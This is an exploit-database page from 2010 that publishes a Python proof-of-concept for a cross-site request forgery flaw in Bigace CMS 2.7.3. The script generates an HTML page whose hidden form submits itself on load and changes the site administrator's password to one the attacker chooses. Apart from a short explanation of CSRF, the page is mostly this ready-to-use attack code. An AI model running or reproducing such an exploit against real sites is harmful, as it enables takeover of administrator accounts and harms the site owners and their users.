Home / os / win7

[webapps / 0day] - Bigace_2.7.3 CSRF Change Admin Password P

Posted on 26 October 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Bigace_2.7.3 CSRF Change Admin Password POC | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Bigace_2.7.3 CSRF Change Admin Password POC by Sweet in webapps / 0day | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>=========================================== Bigace_2.7.3 CSRF Change Admin Password POC =========================================== #!/usr/bin/python #Exploit Title : Bigace_2.7.3 CSRF Change admin password POC #Software : Bigace 2.7.3 #Software link : http://www.bigace.de/download.html #Autor : Sweet #Email : charif38@hotmail.fr #Date : 26/10/2010 #Software version : 2.7.3 #Software detail: BIGACE - Dynamic Web CMS - is a free, professional grade software package that allows you to set up your own Website within minutes. # Its powerful backend puts you in full control of the layout, service and content of your Pages. # BIGACE is written in the popular language PHP and uses a MySQL database. It is designed to provide #you with all the features you # need from a CMS while having an absolute minimal impact on the resources of the server. #Vulnerability detail: Also known as a one-click attack or session riding and abbreviated as CSRF or XSRF, is a type of malicious exploit of a website # whereby unauthorized commands are transmitted from a user that the website trusts. # Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user&#039;s browser. # int two word you need the cookie of the user that you wanna attack #thx to Heni Kraiem , Milw0rm.com , JF - Hamst0r - Keystroke) R.I.P , inj3ct0r.com , exploit-db.com, packetstormsecurity.org, http://ha.ckers.org #et 1,2,3 viva L&#039;Algerie import sys if len(sys.argv) != 3: print &quot;&quot;&quot;Usage: ./exploit.py &lt;Url and bigace patch&gt; &lt;Your new password&gt; Example: ./exploit.py http://172.16.233.128:80/bigacecms/ mypassword &quot;&quot;&quot; quit() url = sys.argv[1] passw = sys.argv[2] Skel =&quot;&quot;&quot;&lt;body onload=&quot;document.getElementById(&#039;1&#039;).submit()&quot;&gt; &lt;form method=&quot;POST&quot; id=&quot;1&quot; name=&quot;form0&quot; action=&quot;%spublic/index.php?cmd=admin&amp;id=userAdmin_tADMIN_len&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;mode&quot; value=&quot;changePassword&quot;/&gt; &lt;input type=&quot;hidden&quot; name=&quot;data[id]&quot; value=&quot;1&quot;/&gt; &lt;input type=&quot;hidden&quot; name=&quot;passwordnew&quot; value=&quot;%s&quot;/&gt; &lt;input type=&quot;hidden&quot; name=&quot;passwordcheck&quot; value=&quot;%s&quot;/&gt; &lt;/form&gt; &quot;&quot;&quot; % (url,passw,passw) try : print &quot;[+] Writing the exploit [+]&quot; FP = file(&quot;bigaceCSRF.html&quot; , &quot;w&quot;) FP.write(Skel) FP.close() print &quot;[+] Exploit writed succesfully [+]&quot; except : print &quot;[+] Error while trying to write the exploit [+]&quot; # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-26]</pre></body></html>

 

TOP